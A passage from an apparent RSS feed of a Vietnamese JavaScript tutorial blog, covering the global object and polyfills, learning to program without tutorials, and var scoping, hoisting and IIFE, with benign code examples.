2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng polyfills</h2> <p>Bạn có thể sử dụng global object để kiểm tra xem một tính năng có đang được hỗ trợ hay không.</p> <p>Ví dụ, bạn muốn kiểm tra đối tượng <code>Promise</code> có tồn tại trên <code>window</code> hay không (chú ý đối tượng <code>Promise</code> không tồn tại ở trình duyệt cũ):</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>window<span class="token punctuation">.</span>Promise<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"You're using an old browser!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Nếu đối tượng <code>Promise</code> thật sự không tồn tại trên <code>window</code>, bạn có thể tạo <strong>polyfills</strong> để thay thế <code>Promise</code>. Việc này giúp code của bạn hoạt động được trên các phiên bản trình duyệt khác nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>window<span class="token punctuation">.</span>Promise<span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span>Promise <span class="token operator">=</span> <span class="token operator">...</span> <span class="token comment">// triển khai Promise nếu trình duyệt chưa hỗ trợ</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Đối tượng global chứa các biến và hàm có thể sử dụng ở mọi nơi trong chương trình. Bao gồm các kiểu dữ liệu đặc biệt và có sẵn như <code>Array</code>, <code>Map</code>, <code>Set</code>,... và một số giá trị của môi trường như <code>window.innerHeight</code> - chiều cao của window trên trình duyệt...</p> <p>Gần đây, đối tượng <code>globalThis</code> được thêm vào JavaScript, trở thành tên tiêu chuẩn cho đối tượng global. Đối tượng <code>globalThis</code> tồn tại trên các môi trường khác nhau và các trình duyệt khác nhau.</p> <p>Tuy nhiên, có thể mọi người vẫn hay sử dụng tên cũ hơn, đó là <code>window</code> trên trình duyệt và <code>global</code> trong Node.js.</p> <p>Trên trình duyệt, trừ khi bạn đang <strong>sử dụng module</strong>, các hàm và biến toàn cục được khai báo với <code>var</code> đều trở thành thuộc tính của đối tượng global.</p> <p>Để code dễ hiểu hơn, khi truy cập vào các thuộc tính của đối tượng global, bạn nên chủ động sử dụng đối tượng global, ví dụ <code>window.x</code>.</p> <p>Nhìn chung, bạn nên hạn chế sử dụng biến toàn cục. Vì sử dụng biến toàn cục khiến logic chương trình trở nên khó theo dõi và khó debug khi có lỗi xảy ra.</p> <p>Hãy chỉ sử dụng đối tượng global trong JavaScript khi thực sự cần thiết.</p> <p>Tham khảo: <a href="https://javascript.info/global-object">Global object</a></p>[email protected]<![CDATA[Cách học lập trình mà không có tutorials hay tài liệu]]><![CDATA[Bài viết sau lấy ý tưởng từ simpleprogrammer.com, bởi tác giả John Sonmez về cách học lập trình mà không có tutorials. Bạn có thể xem bản gốc tại đây. Hầu hết mọi người khi muốn…]]>https://completejavascript.com/hoc-lap-trinh-ma-khong-co-tutorials/https://completejavascript.com/hoc-lap-trinh-ma-khong-co-tutorials/<![CDATA[Dịch blog]]>Thu, 15 Jun 2017 23:20:38 GMT<p>Bài viết sau lấy ý tưởng từ <a href="http://simpleprogrammer.com">simpleprogrammer.com</a>, bởi tác giả John Sonmez về cách học lập trình mà không có tutorials. Bạn có thể xem bản gốc tại <a href="https://simpleprogrammer.com/learn-programming-without-tutorials/">đây</a>.</p> <p><em>Hầu hết mọi người khi muốn học những thứ mới, đặc biệt là lập trình viên, những nhà phát triển phần mềm, đều tìm kiếm tutorials, sách và các bài viết về chủ đề cần học...</em></p> <p><em>Sau đó, họ thực hiện theo từng bước mà người trước đã viết lại. Đây là cách dễ nhất để học lập trình.</em></p> <p><em>Tuy nhiên, trong ngành lập trình, mọi thứ không phải luôn luôn hoạt động suôn sẻ như vậy.</em></p> <p><em>Có một vài trường hợp, đặc biệt là với những thứ open source và công nghệ mới, sẽ không có tutorials cho bạn tham khảo.</em></p> <p><em>Bạn sẽ làm gì? Bạn từ bỏ ư?</em></p> <p><em>Sau đây là cách để học lập trình mà không có tutorials. Hãy xem video sau:</em></p> <p><div class="gatsby-resp-iframe-wrapper" style="padding-bottom: 56.515151515151516%; position: relative; height: 0; overflow: hidden; " > <div class="embedVideo-container"> <iframe title="" src="https://www.youtube.com/embed/AkxP16P1dZI?rel=0" class="embedVideo-iframe" style="border:0; position: absolute; top: 0; left: 0; width: 100%; height: 100%; " loading="eager" allowfullscreen="" sandbox="allow-same-origin allow-scripts allow-popups"></iframe> </div> </div></p> <h2 id="tóm-tắt-về-hai-cách-học-lập-trình-mà-không-có-tutorials" style="position:relative;"><a href="#t%C3%B3m-t%E1%BA%AFt-v%E1%BB%81-hai-c%C3%A1ch-h%E1%BB%8Dc-l%E1%BA%ADp-tr%C3%ACnh-m%C3%A0-kh%C3%B4ng-c%C3%B3-tutorials" aria-label="tóm tắt về hai cách học lập trình mà không có tutorials permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tóm tắt về hai cách học lập trình mà không có tutorials</h2> <h3 id="fix-bugs" style="position:relative;"><a href="#fix-bugs" aria-label="fix bugs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Fix bugs</h3> <p>Giả sử bạn đang định học một Framework mới trên Github. Đầu tiên, hãy tìm đến cơ sở dữ liệu về các bugs, bắt đầu với những bugs đơn giản như UI,...</p> <p>Sau đó bắt tay vào <a href="/debug-javascript-de-hay-kho/">fix bugs</a>. Khi fix bugs, bạn sẽ phải lần theo mọi ngõ ngách trong code. Bạn sẽ hiểu về flow code. Dần dần bạn sẽ hiểu cách mà Framework này hoạt động.</p> <h3 id="phát-triển-những-tính-năng-nhỏ" style="position:relative;"><a href="#ph%C3%A1t-tri%E1%BB%83n-nh%E1%BB%AFng-t%C3%ADnh-n%C4%83ng-nh%E1%BB%8F" aria-label="phát triển những tính năng nhỏ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phát triển những tính năng nhỏ</h3> <p>Ý tưởng của cách này, đó là bạn sẽ tạo ra những tính năng nhỏ cho Framework đó. Những tính năng này có thể không hữu ích trong project thực tế.</p> <p>Bạn có thể chỉ cần tạo ra một vài thứ giống với những cái cũ. Nghe có vẻ vô lý, nhưng thực tế là vậy.</p> <p>Ví dụ, có một form trên UI, bạn cũng sẽ tạo ra một cái form tương tự, sau đó có thể là một vài sự thay đổi nhỏ. Như vậy là bạn đã có một ví dụ về cách tạo form trên UI rồi phải không nào.</p> <p>Cứ tiếp tục <a href="/hoc-lap-trinh-javascript-nhanh-hon/">thực hành</a> như vậy với những tính năng khác, bạn sẽ dần hiểu hết những thứ căn bản trong Framework này.</p> <p>Ý tưởng này khiến tôi nhớ đến có lần xem một bộ phim võ thuật. Người ta nói rằng: "Để học võ thuật thì đầu tiên phải bắt chước theo những động tác, chiêu thức cơ bản thật tốt.</p> <p>Sau khi đã nắm được cơ bản, dần dần bớt lệ thuộc vào các chiêu thức. Cuối cùng, bạn có thể tự tạo chiêu thức cho riêng mình. Lúc này, bạn đã đạt cảnh giới Vô Chiêu Thắng Hữu Chiêu.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là hai cách học lập trình mà không có tutorials hay tài liệu của anh John Sonmez, cũng là cách mà tôi đã áp dụng. Nếu bạn biết nhiều cách khác, vui lòng chia sẻ ở phần bình luận phía dưới.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Var trong JavaScript và cách sử dụng IIFE]]><![CDATA[Var trong JavaScript là một cách cũ để khai báo biến. Và bạn không nên sử dụng var nữa, mà thay vào đó là sử dụng let hoặc const. Tuy nhiên, var vẫn tồn tại trong nhiều mã nguồn cũ…]]>https://completejavascript.com/var-trong-javascript-va-cach-su-dung-iife/https://completejavascript.com/var-trong-javascript-va-cach-su-dung-iife/<![CDATA[Hàm]]><![CDATA[Biến]]>Thu, 15 Jun 2017 06:20:00 GMT<p>Var trong JavaScript là một <strong>cách cũ</strong> để khai báo biến. Và bạn không nên sử dụng <code>var</code> nữa, mà thay vào đó là sử dụng <code>let</code> hoặc <code>const</code>.</p> <p>Tuy nhiên, <code>var</code> vẫn tồn tại trong nhiều mã nguồn cũ. Việc nghiên cứu về <code>var</code> giúp bạn hiểu được những mã nguồn này. Qua đó, bạn biết cách để có thể chuyển từ <code>var</code> sang <code>let/const</code>.</p> <p>Sau đây là những đặc điểm cơ bản của <code>var</code> trong JavaScript.</p> <h2 id="var-không-có-phạm-vi-block" style="position:relative;"><a href="#var-kh%C3%B4ng-c%C3%B3-ph%E1%BA%A1m-vi-block" aria-label="var không có phạm vi block permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><code>var</code> không có phạm vi block</h2> <p>Biến được khai báo bằng <code>var</code>, hoặc là có <strong>phạm vi toàn cục</strong> hoặc là có <strong>phạm vi hàm</strong>, khác với <a href="/tim-hieu-javascript-closures/"><strong>phạm vi block</strong></a> của biến sử dụng <code>let/const</code>.</p> <p>Ví dụ sử dụng var trong JavaScript:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">var</span> test <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng "var" thay vì "let"</span></span><span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>test<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true - biến test vẫn nhìn thấy ở ngoài if</span></code></pre></div> <p>Trong ví dụ trên, biến khai báo với <code>var</code> có <strong>phạm vi toàn cục</strong> và được nhìn thấy ở ngoài block.</p> <p>Nếu bạn sử dụng <code>let test</code> thay vì <code>var test</code>, thì biến <code>test</code> chỉ được nhìn thấy trong block của câu lệnh <code>if</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">let</span> test <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng "let" thay vì "var"</span></span><span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>test<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught ReferenceError: test is not defined</span></code></pre></div> <p>Tương tự khi sử dụng <code>var</code> trong <a href="/vong-lap-trong-javascript/">vòng lặp <code>for</code></a>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">10</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">var</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span></span> <span class="token comment">// ...</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10, biến i vẫn được nhìn thấy sau for, i là biến toàn cục</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1, biến a vẫn được nhìn thấy sau for, a là biến toàn cục</span></code></pre></div> <p>Nếu <strong>khối code nằm trong hàm</strong> thì biến khai báo sử dụng <code>var</code> có <strong>phạm vi hàm</strong>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">var</span> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello</span> <span class="token punctuation">}</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught ReferenceError: message is not defined</span></code></pre></div> <p>Trong ví dụ trên, biến <code>message</code> được khai báo sử dụng <code>var</code>. Biến này có thể nhìn thấy sau khối code của <code>if</code> nhưng không được nhìn thấy ở ngoài hàm <code>sayHi</code>.</p> <p>Nói cách khác, biến <code>message</code> chỉ có phạm vi hàm.</p> <h2 id="có-thể-khai-báo-lại-biến-với-var" style="position:relative;"><a href="#c%C3%B3-th%E1%BB%83-khai-b%C3%A1o-l%E1%BA%A1i-bi%E1%BA%BFn-v%E1%BB%9Bi-var" aria-label="có thể khai báo lại biến với var permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Có thể khai báo lại biến với <code>var</code></h2> <p>Nếu bạn <strong>khai báo biến hai lần</strong> với <code>let</code> ở cùng một phạm vi thì sẽ có lỗi xảy ra:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user<span class="token punctuation">;</span> <span class="token keyword">let</span> user<span class="token punctuation">;</span> <span class="token comment">// SyntaxError: 'user' has already been declared</span></code></pre></div> <p>Với <code>var</code> thì khác, bạn có thể <strong>khai báo lại biến với số lần tùy ý</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> user <span class="token operator">=</span> <span class="token string">"Alex"</span><span class="token punctuation">;</span> <span class="token keyword">var</span> user <span class="token operator">=</span> <span class="token string">"Anna"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Anna</span></code></pre></div> <h2 id="có-thể-sử-dụng-biến-trước-khi-khai-báo-với-var" style="position:relative;"><a href="#c%C3%B3-th%E1%BB%83-s%E1%BB%AD-d%E1%BB%A5ng-bi%E1%BA%BFn-tr%C6%B0%E1%BB%9Bc-khi-khai-b%C3%A1o-v%E1%BB%9Bi-var" aria-label="có thể sử dụng biến trước khi khai báo với var permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Có thể sử dụng biến trước khi khai báo với <code>var</code></h2> <p>Biến khai báo sử dụng <code>var</code> được xử lý khi hàm bắt đầu (hoặc bắt đầu chương trình với phạm vi toàn cục), ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">var</span> message<span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello</span></code></pre></div> <p>Đoạn code trên không có lỗi và tương đương với cách viết sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">var</span> message<span class="token punctuation">;</span></span> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello</span></code></pre></div> <p>Hoặc thậm chí là (nhớ rằng biến với <code>var</code> không có phạm vi block):</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">var</span> message<span class="token punctuation">;</span></span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello</span></code></pre></div> <p>Việc có thể sử dụng biến với <code>var</code> trước khi khai báo được gọi là <strong>hoisting</strong>. Nghĩa là tất cả biến được khai báo với <code>var</code> sẽ được đưa lên đầu của hàm.</p> <p>Trong đoạn code trên, nhánh <code>if (false)</code> không bao giờ được thực hiện. Nhưng câu lệnh khai báo <code>var message</code> vẫn được đưa lên đầu hàm. Do đó, việc sử dụng biến <code>message</code> không bị lỗi.</p> <p><strong>Chú ý:</strong> Khai báo biến với <code>var</code> được <strong>hoisted</strong> nhưng lệnh gán thì không, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">var</span> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Dòng <code>var message = "Hello"</code> thực hiện hai hành động:</p> <ul> <li>Khai báo biến <code>var message</code>.</li> <li>Gán giá trị cho biến <code>message = "Hello"</code>.</li> </ul> <p>Phần khai báo biến được đưa lên đầu hàm, nhưng phần gán giá trị của biến vẫn giữ nguyên vị trí. Đó là lý do tại sao kết quả in ra là <code>undefined</code>.</p> <p>Đoạn code trên tương đương với:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">var</span> message<span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <h2 id="cách-sử-dụng-iife-trong-javascript" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-iife-trong-javascript" aria-label="cách sử dụng iife trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng IIFE trong JavaScript</h2> <p>Trước đây, JavaScript chỉ dùng <code>var</code> để khai báo biến. Mà biến khai báo với <code>var</code> lại không có phạm vi block. Vì vậy, người ta đã phát minh ra cách để mô phỏng phạm vi block này.</p> <p>Và cách đó gọi là <strong>IIFE</strong>, viết tắt của <strong>immediately-invoked function expressions</strong>.</p> <p>Ví dụ một đoạn code sử dụng IIFE như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong ví dụ trên, một <a href="/function-expression-trong-javascript/">biểu thức hàm</a> được <strong>tạo ra và thực hiện ngay lập tức</strong>. Khi đoạn code trên thực hiện xong, không có cách nào để truy cập vào biến <code>message</code> từ phạm vi bên ngoài.</p> <p>Đó chính là lợi ích khi sử dụng IFFE.</p> <p>Với IFFE, biểu thức hàm được <strong>đặt trong cặp dấu ngoặc đơn</strong> <code>(function(){...})</code>. Bởi vì, <a href="/javascript-la-gi/#javascript-engine-l%C3%A0-g%C3%AC">JavaScript Engine</a> hiểu từ khóa <code>function</code> dùng để khai báo hàm. Mà khai báo hàm thì cần phải có tên.</p> <p>Do đó, khi mình bỏ dấu ngoặc đơn để khai báo IFFE thì sẽ bị lỗi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Định nghĩa IFFE mà không dùng dấu ngoặc đơn -> lỗi:</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// &lt;-- SyntaxError: Function statements require a function name</span> <span class="token keyword">var</span> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Thậm chí là khi <strong>viết thêm 